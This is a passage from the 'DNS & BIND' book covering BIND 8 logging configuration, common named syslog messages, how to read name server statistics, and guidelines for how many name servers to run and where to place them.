Decodes of packets received and sent; must point to a file channel

panic

Problems that cause the shutdown of the server

parser

Parsing of the configuration file

queries

Analogous to BIND 4's query logging

response-checks

Malformed responses, unrelated additional information, etc.

security

Approved/unapproved requests

statistics

Periodic reports of activities

update

Dynamic update events

xfer-in

Zone transfers from remote name servers to the local name server

xfer-out

Zone transfers from the local name server to remote name servers

7.5.3.1 Viewing all category messages

A good activity to start your foray into logging is to configure your name server to log all of its messages to a file, with the category and severity, and then pick out which messages you are interested in.

Earlier we listed the categories that are configured by default:

logging {
    category default { default_syslog; default_debug; };
    category panic { default_syslog; default_stderr; };
    category packet { default_debug; };
    category eventlib { default_debug; };
};

By default, the category and severity are not included with messages written to the default_debug channel. In order for you to see all the log messages, with their category and severity, you'll have to configure each of these categories yourself.

Here is a logging statement that does just that:

logging {
  channel my_file {
     file "log.msgs";
     severity dynamic;
     print-category yes;
     print-severity yes;
  };

  category default  { default_syslog; my_file; };
  category panic    { default_syslog; my_file; };
  category packet   { my_file; };
  category eventlib { my_file; };
  category queries  { my_file; };
};

Notice that we've defined each category to include the channel my_file. We also added one category that wasn't in the default logging statement above - queries. Queries aren't printed unless you configure the queries category.

Start your server and turn on debugging to level one. You'll see messages in log.msgs that look like the following:

queries: info: XX /192.253.253.4/foo.movie.edu/A
default: debug 1: req: nlookup(foo.movie.edu) id 4 type=1 class=1
default: debug 1: req: found 'foo.movie.edu' as 'foo.movie.edu' (cname=0)
default: debug 1: ns_req: answer -> [192.253.253.4].2338 fd=20 id=4 size=87

Once you see the messages that interest you, configure your server to log only those messages.

Previous: 7.4 Changing BIND 8 System File Locations | DNS & BIND | Next: 7.6 Keeping Everything Running Smoothly
7.4 Changing BIND 8 System File Locations | Book Index | 7.6 Keeping Everything Running Smoothly


[Chapter 7] 7.6 Keeping Everything Running Smoothly

DNS & BIND

DNS & BINDSearch this book
Previous: 7.5 BIND 8 Logging Chapter 7
Maintaining BIND 		Next: 8. Growing Your Domain

7.6 Keeping Everything Running Smoothly

A significant part of maintenance is being aware when something has gone wrong, before it becomes a real problem. If you catch a problem early, chances are it'll be that much easier to fix. As the old adage says, an ounce of prevention is worth a pound of cure.

This isn't quite troubleshooting - we'll devote an entire chapter to troubleshooting later - think of it as "pre-troubleshooting." Troubleshooting (the pound of cure) is what you have to do if you ignore maintenance, after your problem has developed complications, and you need to identify the problem by its symptoms.

The next two sections deal with preventative maintenance: looking periodically at the syslog file and at the BIND name server statistics to see whether any problems are developing. Consider this a name server's medical checkup.

7.6.1 Common Syslog Messages

There are a large number of syslog messages named can emit. In practice, you'll only see a few of them. We'll cover the most common syslog messages here, excluding reports of syntax errors in DNS database files.

Every time you start named, it sends out this message at priority LOG_NOTICE:

Jan 10 20:48:32 terminator named[3221]: starting.  named 8.1.2

This message logs the fact that named started at this time, and tells you the version of BIND you're running. This is, of course, nothing to be concerned about. It is a good place to look if you're not sure what version of BIND your operating system supports. (Older versions of BIND used "restarted" instead of "starting.")

Every time you send the name server a HUP signal, it sends out this message at priority LOG_NOTICE:

Jan 10 20:50:16 terminator named[3221]: reloading nameserver

The "reloading" message just tells you that named reloaded its database (as a result of a HUP signal) at this time. Again, this is nothing to be concerned about. This message will most likely be of interest when you are tracking down how long a bad resource record has been in your name server data or how long a whole zone has been missing because of a mistake during an update.

Another message you may see shortly after your name server starts is:

Jan 10 20:50:20 terminator named[3221]: cannot set resource limits on
                this system

This means that your name server thinks your operating system does not support the getrlimit() and setrlimit() system calls, which are used when you try to define coresize, datasize, stacksize or files on a BIND 8 name server. It doesn't matter whether you're actually using any of these substatements in your configuration file; BIND will print the message anyway. If you're not using these substatements, ignore the message. If you are, and you think your operating system does support getrlimit() and setrlimit(), you'll have to recompile BIND with HAVE_GETRUSAGE defined. This message in logged at priority LOG_INFO.

If you run your name server on a host with many network interfaces, especially virtual network interfaces, you may see this message soon after startup, or even after your name server has run well for a while:

Jan 10 20:50:31 terminator named[3221]: fcntl(dfd, F_DUPFD, 20): Too
                many open files
Jan 10 20:50:31 terminator named[3221]: fcntl(sfd, F_DUPFD, 20): Too
                many open files

This means that BIND has run out of file descriptors. BIND uses a fair number of file descriptors: two for each network interface it's listening on (one for UDP and one for TCP), and one for opening zone data files. If that's more than the limit your operating system places on processes, BIND won't be able to get any more file descriptors and you'll see this message. The priority will depend on which part of BIND fails to get the file descriptor: the more critical the subsystem, the higher the priority.

The next step is to either get BIND to use fewer file descriptors, or to raise the limit the operating system places on the number of file descriptors BIND can use:

  • If you don't need BIND listening on all of your network interfaces (particularly the virtual ones), use the listen-on substatement to configure BIND to listen only on those interfaces it needs to. See Chapter 10 for details on the syntax of listen-on.

  • If your operating system supports getrlimit() and setrlimit() (see above), configure your name server to use a larger number of files with the files substatement. See Chapter 10 for details on using the files substatement.

  • If your operating system places too restrictive a limit on open files, raise that limit before you start named with the ulimit command.

Every time a BIND 8 name server loads a zone, it sends out a message at priority LOG_INFO:

Jan 10 21:49:50 terminator named[3221]: master zone "movie.edu" (IN)
                loaded(serial 1996011000)

(BIND 4.9 name servers call it a "primary zone" instead of a "master zone.") This tells you when the name server loaded the zone, the class (in this case, IN) of the zone, and the serial number in the zone's SOA record.

About every hour, a BIND 8 name server will send a message at priority LOG_INFO that snapshots the current statistics:

Feb 18 14:09:02 terminator named[3565]: USAGE 824681342 824600158
                CPU=13.01u/3.26s CHILDCPU=9.99u/12.71s
Feb 18 14:09:02 terminator named[3565]: NSTATS 824681342 824600158
                A=4 PTR=2
Feb 18 14:09:02 terminator named[3565]: XSTATS 824681342 824600158
                RQ=6 RR=2 RIQ=0 RNXD=0 RFwdQ=0 RFwdR=0 RDupQ=0 RDupR=0
                RFail=0 RFErr=0 RErr=0 RTCP=0 RAXFR=0 RLame=0 Ropts=0
                SSysQ=2 SAns=6 SFwdQ=0 SFwdR=0 SDupQ=5 SFail=0 SFErr=0
                SErr=0 RNotNsQ=6 SNaAns=2 SNXD=1

(This feature was also present in BIND 4.9 through 4.9.3, then turned off in the 4.9.4 server.) The first two numbers for each message are time. If you subtract the second number from the first number, you'll find out how many seconds your server has been running. (You'd think the name server could do that for you.) The CPU entry tells you how much time your server has spent in user mode (13.01 seconds) and system mode (3.26 seconds). Then it tells you the same statistic for child processes. The NSTATS message lists the query types your server has received and the counts for each. The XSTATS message lists additional statistics. The statistics under NSTATS and XSTATS are explained in more detail later in this chapter.

If BIND version 4.9.4 or later finds a name that doesn't conform to RFC 952, it logs a syslog error:

Jul 24 20:56:26 terminator named[1496]: owner name "ID_4.movie.edu IN"
                                      (primary) is invalid - rejecting

This message is logged at level LOG_NOTICE. See Chapter 4 for the host naming rules.

Another syslog message, sent at priority LOG_INFO, is a warning message about the zone data:

Jan 10 20:48:38 terminator named[3221]: terminator2 has CNAME
                and other data (invalid)

This message means that there's a problem with your zone data. For example, you may have entries like these:

terminator2  IN  CNAME t2
terminator2  IN  MX    10 t2
t2           IN  A     192.249.249.10
t2           IN  MX    10 t2

The MX record for terminator2 is incorrect, and would cause the message given above. terminator2 is an alias for t2, which is the canonical name. As described earlier, when DNS looks up a name and finds a CNAME, it replaces the original name with the canonical name, and then tries looking up the canonical name. Thus, when the server looks up the MX data for terminator2, it finds a CNAME record and then looks up the MX record for t2. Since the server follows the CNAME record for terminator2, it will never use the MX record for terminator2; in fact, this record is illegal. In other words, all resource records for a host have to use the canonical name; it's an error to use an alias in place of the canonical name.

The following message indicates that a slave was unable to reach any master server when it tried to do a zone transfer:

Jan 10 20:52:42 wormhole named[2813]: zoneref: Masters for
                secondary zone "movie.edu" unreachable

This message is sent at priority LOG_NOTICE, and is only sent the first time the zone transfer fails. When the zone transfer finally succeeds, a 4.9 or later server will tell you that the zone transferred by issuing another syslog message. Older servers don't tell you when the zone transferred. When this message first appears, you don't need to take any immediate action. The name server will continue to attempt to transfer the zone, according to the retry period in the SOA record. After a few days (or half the expire time), you might check that the server was able to transfer the zone. On servers that don't issue the syslog message when the zone transfers, you can verify that the zone transferred by checking the timestamp on the backup file. When a zone transfer succeeds, a new backup file is created. When a zone is found to be up to date, the backup file is touched (� la the UNIX touch command). In both cases, the timestamp on the backup file is updated, so go to the slave and give the command ls -l /usr/local/named/db.*. This will tell you when the slave last synchronized each zone with the master server. We'll cover how to troubleshoot slaves failing to transfer zones in Chapter 13.

If you are watching the syslog messages on your 4.9 or later master server, you'll see a LOG_INFO syslog message when the slave does pick up the new zone data or when a tool, like nslookup, transfers a zone:

Mar  7 07:30:04 terminator named[3977]: approved AXFR from
                           [192.249.249.1].2253 for "movie.edu"

If you are using the version 4 xfrnets configuration file statement or version 8 allow-transfer option statement (explained in Chapter 10) to limit which servers can load zones, you may see this message saying unapproved instead of approved.

This syslog message is seen only if you capture LOG_INFO syslog messages:

Jan 10 20:52:42 wormhole named[2813]: Malformed response
                from 192.1.1.1

Most often, this message means that some bug in a name server caused it to send an erroneous response packet. The error probably occurred on the remote name server (192.1.1.1) rather than the local server (wormhole). Diagnosing this kind of error involves capturing the response packet in a network trace and decoding it. Decoding DNS packets manually is beyond the scope of this book, so we won't go into much detail. You see this type of error when the response packet says it has several answers in the answer section (like four address resource records), and yet the answer section only contains a single answer. The only course of action is to notify the hostmaster (or root) of the offending host via email (assuming you can get the name of the host by looking up the address). You would also see this message if the underlying network altered (damaged) the UDP response packets in some way. Checksumming of UDP packets is optional, so this error might not be caught at a lower level.

named logs this message when you try to sneak into your zone file data that belongs in another zone:

Jun 13 08:02:03 terminator named[2657]: db.movie:28: data "foo.bar.edu"
                           outside zone "movie.edu" (ignored)

For instance, if we tried to use this zone data:

robocop       IN A  192.249.249.2
terminator    IN A  192.249.249.3

; Add this entry to the name server's cache
foo.bar.edu.  IN A  10.0.7.13

we'd be adding data for the bar.edu zone into our movie.edu zone file. A 4.8.3 vintage name server would blindly add foo.bar.edu to its cache. It wouldn't check that all the data in the db.movie file was in the movie.edu zone. You can't fool a name server newer than 4.9, though. This syslog message is logged at priority LOG_INFO.

Earlier in the book we said that you can't use a CNAME in the data portion of a resource record. BIND versions 4.9 and later will catch this misuse:

Jun 13 08:21:04 terminator named[2699]: "movie.edu IN NS" points to a
                                        CNAME (dh.movie.edu)

Here is an example of the guilty resource records:

@                      NS       terminator.movie.edu.
                       NS       dh.movie.edu.
terminator.movie.edu.  IN A     192.249.249.3
diehard.movie.edu.     IN A     192.249.249.4
dh                     IN CNAME diehard

The second NS record should have listed diehard.movie.edu instead of dh.movie.edu. This syslog message won't show up immediately when you start your name server.

NOTE: You'll only see the syslog message when the offending data is looked up. This syslog message is logged by a 4.9.3 or BIND 8 server at priority LOG_INFO, and by a 4.9.4 to 4.9.7 server at priority LOG_DEBUG.

This message indicates that your name server may be guarding itself against one type of network attack:

Jun 11 11:40:54 terminator named[131]: Response from unexpected source
                                       ([204.138.114.3].53)

Your name server sent a query to a remote name server, and a response came, but it wasn't from any of the addresses your name server had listed for the remote name server. The potential security breach is this: an intruder causes your name server to query a remote name server, and at the same time the intruder sends responses (pretending the responses are from the remote name server) that the intruder hopes your name server will add to its cache. Perhaps he sends along a false PTR record, pointing the IP address of one of his hosts to the domain name of a host you trust. Once the false PTR record is in your cache, the intruder uses one of the BSD "r" commands (e.g., rlogin) to gain access to your system.

Less paranoid admins will realize that this situation can also happen if the parent name server only knows about one of the IP addresses of a multihomed name server host. The parent tells your name server the one IP address it knows about, and when your server queries the remote name server, the remote name server responds from the other IP address. This shouldn't happen if BIND is running on the remote name server host, because BIND makes every attempt to use the same IP address in the response as the query was sent to. This syslog message is logged at priority LOG_INFO.

Here's an interesting syslog message:

Jun 10 07:57:28 terminator named[131]: No root nameservers for
                class 226

The only classes defined to date are: class 1, Internet (IN); class 3, Chaos (CH); and class 4, Hesiod (HS). Where does class 226 come from? That's exactly the point your name server is making with this syslog message. Something is wrong in the world because there is no class 226. What can you do about it? Nothing, really. This message doesn't give you enough information - you don't know who the query is from or what the query was for. Then again, if the class field is corrupted, the query name may be garbage too. The actual cause of the problem could be a broken remote name server or resolver, or it could be a corrupted UDP datagram. This syslog message is logged at priority LOG_INFO.

This message might happen if you are backing up some other zone:

Jun  7 20:14:26 wormhole named[29618]: Zone "253.253.192.in-addr.arpa"
                (class 1) SOA serial# (3345) rcvd from [192.249.249.10]
                is < ours (563319491)

Ah, the pesky admin for 253.253.192.in-addr.arpa changed the serial number format and neglected to tell you about it. Some thanks you get for running a slave for this zone, huh? Drop the admin a note to see if this change was intentional or just a typo. If the change was intentional, or you don't want to contact the admin, then you have to deal with it locally - kill your slave, remove the backup copy of this zone, and restart your server. This procedure removes all knowledge your slave had of the old SOA serial number, at which point it is quite happy with the new serial number. This syslog message is logged at priority LOG_NOTICE.

By the way, if that pesky admin was running a BIND 8 name server, then he must have missed (or ignored) a message his server logged, telling him that he'd rolled the zone's serial number back:

Jun 7 19:35:14 terminator named[3221]: WARNING: new serial number < old
              (zp->z_serial < serial)

This message is logged at LOG_NOTICE.

You might want to remind him of the wisdom of checking syslog after making any changes to the name server.

This message will undoubtedly become familiar to you:

Aug 21 00:59:06 jade named[12620]: Lame server on 'foo.movie.edu'
         (in 'MOVIE.EDU'?): [10.0.7.125].53 'NS.HOLLYWOOD.LA.CA.US':
         learnt (A=10.47.3.62,NS=10.47.3.62)

"Aye, Captain, she's sucking mud!" There's some mud out there in the Internet waters in the form of bad delegations. A parent name server is delegating a subdomain to a child name server, and the child name server is not authoritative for the subdomain. In this case, the edu name server is delegating movie.edu to 10.0.7.125, and the name server on this host is not authoritative for movie.edu. Unless you know the admin for movie.edu, there's probably nothing for you to do about this. The syslog message is logged by a 4.9.3 server at priority LOG_WARNING, by a 4.9.4 to 4.9.7 server at priority LOG_DEBUG, and by a BIND 8 server at LOG_INFO.

If your version 4.9 or later name server's configuration file has:

options query-log

or your version 8 configuration file has:

logging { category queries { default_syslog; }; };

you will get a LOG_INFO syslog message for every query your name server receives:

Feb 20 21:43:25 terminator named[3830]:
            XX /192.253.253.2/carrie.movie.edu/A
Feb 20 21:43:32 terminator named[3830]:
            XX /192.253.253.2/4.253.253.192.in-addr.arpa/PTR

These messages include the IP address of the host that made the query and the query. Make sure you have lots of disk space if you log all the queries to a busy name server. (On a running server, you can toggle query logging on and off with the WINCH signal.)

Starting with version 8.1.2, you might see this set of syslog messages:

May 19 11:06:08 named[21160]: bind(dfd=20, [10.0.0.1].53):
                Address already in use
May 19 11:06:08 named[21160]: deleting interface [10.0.0.1].53
May 19 11:06:08 named[21160]: bind(dfd=20, [127.0.0.1].53):
                Address already in use
May 19 11:06:08 named[21160]: deleting interface [127.0.0.1].53
May 19 11:06:08 named[21160]: not listening on any interfaces
May 19 11:06:08 named[21160]: Forwarding source address
                is [0.0.0.0].1835
May 19 11:06:08 named[21161]: Ready to answer queries.

What has happened is that you had a name server running and you started up a second name server without killing the first one. Unlike what you might expect, the second name server continues to run; it just isn't listening on any interfaces.

7.6.2 Understanding the BIND Statistics

Periodically, you should look over the statistics on some of your name servers, if only to see how busy they are. We will show you an example of the name server statistics and discuss what each line means. Name servers handle many queries and responses during normal operation, so first, we need to show you what a typical exchange might look like.

Reading the explanations for the statistics is hard without a mental picture of what goes on during a lookup. To help you understand the name server's statistics, Figure 7.2 shows what might go on when an application tries to look up a name. The application, ftp, queries a local name server. The local name server had previously looked up data from this domain and knows where the remote name servers are. It queries each of the remote name servers - one of them twice - trying to find the answer. In the meantime, the application times out and sends yet another query, asking for the same information.

Keep in mind that even though a name server has sent a query to a remote name server, the remote name server may not receive the query right away. The query might be delayed or lost by the underlying network, or perhaps the remote name server host might be busy with another application.

Figure 7.2: Example query/response exchange

Notice that a BIND name server is able to detect duplicate queries only while it is still trying to answer the original query. The local name server detects the duplicate query from the application because the local name server is still working on it. But, remote name server 1 does not detect the duplicate query from the local name server because it answered the previous query. After the local name server receives the first response from remote name server 1, all other responses are discarded as duplicates. This dialog required the following exchanges:

Exchange | Number
Application to local name server | 2 queries
Local name server to application | 1 response
Local name server to remote name server 1 | 2 queries
Remote name server 1 to local name server | 2 responses
Local name server to remote name server 2 | 1 query
Remote name server 2 to local name server | 1 response
Local name server to remote name server 3 | 1 query
Remote name server 3 to local name server | 0 responses

These exchanges would make the following contributions to the local name server's statistics:

Statistic | Cause
2 queries received | From the application on the local host
1 duplicate query | From the application on the local host
1 answer sent | To the application on the local host
3 responses received | From remote name servers
2 duplicate responses | From remote name servers
2 A queries | Queries for address information

In our example, the local name server received queries only from an application, yet it sent queries to remote name servers. Normally, the local name server would also receive queries from remote name servers (that is, in addition to asking remote servers for information it needs to know, the local server would also be asked by remote servers for information they need to know), but we didn't show any remote queries, for the sake of simplicity.

Now that you've seen a typical exchange between applications and name servers, and the statistics it generated, let's go over a more extensive example of the statistics. To get the statistics from your name server, send the version 4 name server an ABRT signal (on many systems, called IOT):

% kill -ABRT `cat /etc/named.pid`

Or send a version 8 name server an ILL signal instead of ABRT:

% kill -ILL `cat /etc/named.pid`

(The process ID is stored in /var/run/named.pid on an SVR4 filesystem.) Wait a few seconds and look at the file /usr/tmp/named.stats (or /var/tmp/named.stats). A version 8 name server leaves the file named.stats in its current directory (/usr/local/named in most of our examples). If the statistics are not dumped to this file, your server may not have been compiled with STATS defined and, thus, may not be collecting statistics. Following are the statistics from one of Paul Vixie's name servers. These statistics came from a 4.9.3 name server. An 8.1.2 name server has all of the same items as below except RNotNsQ and the items are arranged in a different order. If your name server is newer than 8.1.2, the statistics may not look at all like those shown here - the BIND statistics may be replaced with the DNS server and resolver MIB extensions defined in RFC 1611 and RFC 1612.

+++ Statistics Dump +++ (800708260) Wed May 17 03:57:40 1995
746683    time since boot (secs)
392768    time since reset (secs)
14        Unknown query types
268459    A queries
3044      NS queries
5680      CNAME queries
11364     SOA queries
1008934   PTR queries
44        HINFO queries
680367    MX queries
2369      TXT queries
40        NSAP queries
27        AXFR queries
8336      ANY queries
++ Name Server Statistics ++
(Legend)
      RQ    RR    RIQ   RNXD    RFwdQ
      RFwdR RDupQ RDupR RFail   RFErr
      RErr  RTCP  RAXFR RLame   ROpts
      SSysQ SAns  SFwdQ SFwdR   SDupQ
      SFail SFErr SErr  RNotNsQ SNaAns
      SNXD
(Global)
   1992938 112600 0 19144 63462 60527 194 347 3420 0  5 2235 27 35289 0
   14886 1927930 63462 60527 107169  10025 119 0 1785426 805592  35863
[15.255.72.20]
   485 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 485 0 0 0  0 0 0 0 485  0
[15.255.152.2]
   441 137 0 1 2 108 0 0 0 0  0 0 0 0 0  13 439 85 7 84  0 0 0 0 431  0
[15.255.152.4]
   770 89 0 1 4  69 0 0 0 0  0 0 0 0 0  14 766 68 5 7  0 0 0 0 755  0
...  <lots of entries deleted>

Let's look at these statistics one line at a time:

746683    time since boot (secs)

This is how long the local name server has been running. To convert to days, divide by 86400 (60x60x24, the number of seconds in a day). This server has been running for about 8.5 days.

392768    time since reset (secs)

This is how long the local name server has run since the last HUP signal - i.e., the last time it loaded its database. You'll probably see this number differ from the time since boot only if the server is a primary master name server for some zone. Name servers that are slaves for a zone automatically pick up new data with zone transfers and are not usually sent HUP signals. Since this server has been reset, it is probably a primary master name server for some zone.

14        Unknown query types

This name server received 14 queries for data of a type the name server didn't recognize. Either someone is experimenting with new types, or there is a defective implementation somewhere.

268459    A queries

There have been 268459 address lookups. Address queries are normally the most common type of query.

3044      NS queries

There have been 3044 name server queries. Internally, name servers generate NS queries when they are trying to look up servers for the root domain. Externally, applications like dig or nslookup can also be used to look up NS records.

5680      CNAME queries

Some versions of sendmail make CNAME queries in order to canonicalize a mail address (replace an alias with the canonical name). Other versions of sendmail use ANY queries instead (we'll get to those shortly). Otherwise, the CNAME lookups are most likely from dig or nslookup.

11364     SOA queries

SOA queries are made by slave name servers to check if their zone data are current. If the data are not current, an AXFR query follows to cause the zone transfer. Since this set of statistics does show AXFR queries, we can conclude that slave name servers load zone data from this server.

1008934   PTR queries

The pointer queries map addresses to names. Many kinds of software look up IP addresses: inetd, rlogind, rshd, network management software, and network tracing software.

44        HINFO queries

The host-information queries are most likely from someone interactively looking up HINFO records.

680367    MX queries

Mail exchanger queries are made by mailers like sendmail as part of the normal electronic mail delivery process.

2369      TXT queries

Some application must be making text queries for this number to be this large. It might be a tool like Harvest, which is an information search and retrieval technology developed at the University of Colorado.

40        NSAP queries

This is a relatively new data type used to map domain names to OSI Network Service Access Point addresses.

27        AXFR queries

An AXFR query is made by a slave name server to cause a zone transfer.

8336      ANY queries

ANY queries request data of any type for a name. This query type is used most often by sendmail. Since sendmail looks up CNAME, MX, and address records for a mail destination, it will make a query for ANY data type so that all the resource records are cached right away at the local name server.

The rest of the statistics are kept on a per-host basis. If you look over the list of hosts your name server has exchanged packets with, you'll find out just how garrulous your name server is - you'll see hundreds or even thousands of hosts in the list. While the size of the list is impressive, the statistics themselves are only somewhat interesting. We will explain all of the statistics, even the ones with zero counts, although you'll probably only find a handful of the statistics useful. To make the statistics easier to read, you'll need a tool to expand the statistics because the output format is rather compact. We wrote a tool, called bstat, to do just this. Here's what its output looks like:

hpcvsop.cv.hp.com
        485 queries received
        485 responses sent to this name server
        485 queries answered from our cache
relay.hp.com
        441 queries received
        137 responses received
          1 negative response received
          2 queries for data not in our cache or authoritative data
        108 responses from this name server passed to the querier
         13 system queries sent to this name server
        439 responses sent to this name server
         85 queries sent to this name server
          7 responses from other name servers sent to this name server
         84 duplicate queries sent to this name server
        431 queries answered from our cache
hp.com
        770 queries received
         89 responses received
          1 negative response received
          4 queries for data not in our cache or authoritative data
         69 responses from this name server passed to the querier
         14 system queries sent to this name server
        766 responses sent to this name server
         68 queries sent to this name server
          5 responses from other name servers sent to this name server
          7 duplicate queries sent to this name server
        755 queries answered from our cache

In the raw statistics (not the bstat output), each host IP address is followed by a table of counts. The column heading for this table is the cryptic legend at the beginning. The legend is broken into several lines, but the host statistics are all on a single line. In the following section, we'll explain briefly what each column means as we look at the statistics for one of the hosts this server conversed with - 15.255.152.2 (relay.hp.com). For the sake of our explanation, we'll first show you the column heading from the legend (e.g., RQ) followed by the count for this column for relay.

RQ 441

RQ is the count of queries received from relay. These queries were made because relay needed information about a domain served by this name server.

RR 137

RR is the count of responses received from relay. These are responses to queries made from this name server. Don't try to correlate this number to RQ, because they are not related. RQ counts questions asked by relay; RR counts answers relay gave to this name server (because this name server asked relay for information).

RIQ 0

RIQ is the count of inverse queries received from relay. Inverse queries were originally intended to map addresses to names, but that function is now handled by PTR records. Older versions of nslookup use an inverse query on startup, so you may see a nonzero RIQ count.

RNXD 1

RNXD is the count of "no such domain" answers received from relay.

RFwdQ 2

RFwdQ is the count of queries received (RQ) from relay that needed further processing before they could be answered. This count is much higher for hosts that configure their resolver (with resolv.conf) to send all queries to your name server.

RFwdR 108

RFwdR is the count of responses received (RR) from relay that answered the original query and were passed back to the application that made the query.

RDupQ 0

RDupQ is the count of duplicate queries from relay. You'll only see duplicates when the resolver is configured (with resolv.conf) to query this name server.

RDupR 0

RDupR is the count of duplicate responses from relay. A response is a duplicate when the name server can no longer find the original query in its list of pending queries that caused the response.

RFail 0

RFail is the count of SERVFAIL responses from relay. A SERVFAIL response indicates some sort of server failure. Server failure responses often occur because the remote server read a db file and found a syntax error. Any queries for data in that zone (the one from the erroneous db file) will result in a server failure answer from the remote name server. This is probably the most common bad response. Server failure responses also occur when the remote name server tries to allocate more memory and can't, or when the remote name server's zone data expire.

RFErr 0

RFErr is the count of FORMERR responses from relay. FORMERR means that the remote name server said the local name server's query had a format error.

RErr  0

RErr is the count of errors that weren't either SERVFAIL or FORMERR.

RTCP  0

RTCP is the count of queries received on TCP connections from relay. (Most queries use UDP.)

RAXFR 0

RAXFR is the count of zone transfers initiated. The 0 count indicates that relay is not a slave for any zones served by this name server.

RLame 0

RLame is the count of lame delegations received. If this count is not 0, it means that some zone is delegated to the name server at this IP address, and the name server is not authoritative for the zone.

ROpts 0

ROpts is the count of packets received with IP options.

SSysQ 13

SSysQ is the count of system queries sent to relay. System queries are queries initiated by the local name server. Most system queries will go to root name servers, because system queries are used to keep up-to-date on who the root name servers are. But system queries are also used to find out the address of a name server if the address record timed out before the name server record did. Since relay is not a root name server, these queries must have been sent for the latter reason.

SAns  439

SAns is the count of answers sent to relay. This name server answered 439 out of the 441 (RQ) queries relay sent to it. I wonder what happened to the 2 queries it didn't answer...

SFwdQ 85

SFwdQ is the count of queries that were sent (forwarded) to relay when the answer was not in this name server's zone data or cache.

SFwdR 7

SFwdR is the count of responses from some name server that were sent (forwarded) to relay.

SDupQ 84

SDupQ is the count of the duplicate queries sent to relay. It's not as bad as it looks, though. The duplicate count is incremented if the query was sent to any other name server first. So, relay might have answered all the queries it received the first time it received them, and the query still counted as a duplicate because it was sent to some other name server before relay.

SFail 0

SFail is the count of SERVFAIL responses sent to relay.

SFErr 0

SFErr is the count of FORMERR responses sent to relay.

SErr  0

SErr is the count of sendto() system calls that failed when the destination was relay.

RNotNsQ 0

RNotNsQ is the count of queries received that were not from port 53, the name server port. Prior to version 8, all name server queries would come from port 53. Any queries from ports other than 53 came from a resolver. Now, name servers will query from ports other than 53, which makes this statistic useless since you can no longer distinguish resolver queries from name server queries. Hence, version 8 dropped RNotNsQ from its statistics.

SNaAns 431

SNaAns is the count of nonauthoritative answers sent to relay. Out of the 439 answers (SAns) sent to relay, 431 were from cached data.

SNXD  0

SNXD is the count of "no such domain" answers sent to relay.

Is this name server "healthy"? How do you know what "healthy" operation is? From this one snapshot, we really couldn't say if the name server is healthy. You have to watch the statistics generated by your server over a period of time to get a feel for what sorts of numbers are normal for your configuration. These numbers will vary markedly among servers, depending on the mix of applications generating lookups, the type of server (primary, slave, caching-only), and the level in the domain tree it is serving.

One thing to watch for in the statistics is how many queries per second your server receives. Take the number of queries received (from the "Global" statistics) and divide by the number of seconds the name server has been running. This server received 1992938 queries in 746683 seconds, or approximately 2.7 queries per second - a pretty busy server. If the number you come up with for your server seems out of line, look at which hosts are making all the queries and decide if it makes sense for them to be making all those queries. At some point you may decide that you need more servers to handle the load; we cover that situation in the next chapter.

Previous: 7.5 BIND 8 Logging | DNS & BIND | Next: 8. Growing Your Domain
7.5 BIND 8 Logging | Book Index | 8. Growing Your Domain


[Chapter 8] Growing Your Domain

DNS & BIND

DNS & BINDSearch this book
Previous: 7.6 Keeping Everything Running Smoothly Chapter 8 Next: 8.2 Adding More Name Servers

8. Growing Your Domain

Contents:
How Many Name Servers?
Adding More Name Servers
Registering Name Servers
Changing TTLs
Planning for Disasters
Coping with Disaster

"What size do you want to be?" it asked.

"Oh, I'm not particular as to size," Alice hastily replied; "only one doesn't like changing so often, you know..."

"Are you content now?" said the Caterpillar.

"Well, I should like to be a little larger, sir, if you wouldn't mind...."

8.1 How Many Name Servers?

We set up two name servers in Chapter 4, Setting Up BIND. Two servers are as few as you'll ever want to run. Depending on the size of your network, you may need to run many more than just two servers. It is not uncommon to run from five to seven servers, with one of them off-site. How many name servers are enough? You'll have to decide that based on your network. Here are some guidelines to help out:

  • Have at least one name server available directly on each network or subnet you have. This removes routers as a point of failure. Make the most of any multihomed hosts you may have, since they're (by definition) attached to more than one network.

  • If you have a file server and some diskless nodes, run a name server on the file server to serve this group of machines.

  • Run name servers near, but not necessarily on, large time-sharing machines. The users and their processes probably generate a lot of queries, and, as administrators, you will work harder to keep a multiuser host up. But balance their needs against the risk of running a name server - a security-critical server - on a system that lots of people have access to.

  • Run one name server off-site. This makes your data available when your network isn't. You might argue that it's useless to look up an address when you can't reach the host. Then again, the off-site name server may be available if your network is reachable, but your other name servers are down. If you have a close relationship with an organization on the Internet - say another university or a business partner - they may consent to run a slave for you.

Figure 8.1 shows a sample topology and a brief analysis to show you how this might work.

Figure 8.1: Sample network topology

Notice that if you follow our guidelines, there are still a number of places you could choose to run a name server. Host d, the file server for hosts a, b, c, and e, could run a name server. Host g, a big, multiuser host, is another good candidate. But probably the best choice is host f, the smaller host with interfaces on both networks. You'll only need to run one name server, instead of two, and it'll run on a closely-watched host. If you want more than one name server on either network, you can also run one on d or g.

8.1.1 Where Do I Put My Name Servers?

In addition to giving you a rough idea of how many name servers you'll need, these criteria should also help you decide where to run name servers (e.g., on file servers, multihomed hosts). But there are other important considerations when choosing the right host.

Other factors to keep in mind are the host's connectivity, the software it runs (BIND and otherwise), and maintaining the homogeneity of your name servers:

Connectivity

It's important that name servers be well connected. Having a name server running on the fastest, most reliable host on your network won't do you any good if the host is mired in some backwater subnet of your network behind a slow, flaky serial line. Try to find a host close to your link to the Internet (if you have one), or find a well-connected Internet host to act as a slave for your zone. And on your own network, try to run name servers near the hubs of your network.

It's doubly important that your primary master name server be well connected. The primary needs good connectivity to all the slaves that update from it, for reliable zone transfers. And, like any name server, it'll benefit from fast, reliable networking.

Software

Another factor to consider in choosing a host for a name server is the software the host runs. Software-wise, the best candidate for a name server is a host running a vendor-supported version of BIND 8.1.2 or 4.9.7 and a robust implementation of TCP/IP (preferably based on 4.3 or 4.4 BSD UNIX's networking - we're Berkeley snobs). You can compile your own 8.1.2 BIND from the sources - it's not hard, and the latest versions are very reliable - but you'll probably have a tough time getting your vendor to support it. If you don't absolutely need a feature of BIND 8.1.2, you may be able to get away with running your vendor's port of older BIND code, like 4.9.4, which will give you the benefit of your vendor's support, for what that's worth.

Homogeneity

One last thing to take into account is the homogeneity of your name servers. As much as you might believe in "open systems," hopping between different versions of UNIX can be frustrating and confusing. Avoid running name servers on lots of different platforms, if you can. You can waste a lot of time porting your scripts (or ours!) from one operating system to another, or looking for the location of nslookup or named.conf on three different UNIXes. Moreover, different vendors' versions of UNIX tend to support different versions of BIND, which can cause all sorts of frustration. If you need BIND 8.1.2's security features on all your name servers, for example, choose a platform that supports 8.1.2 for all your name servers.

Security

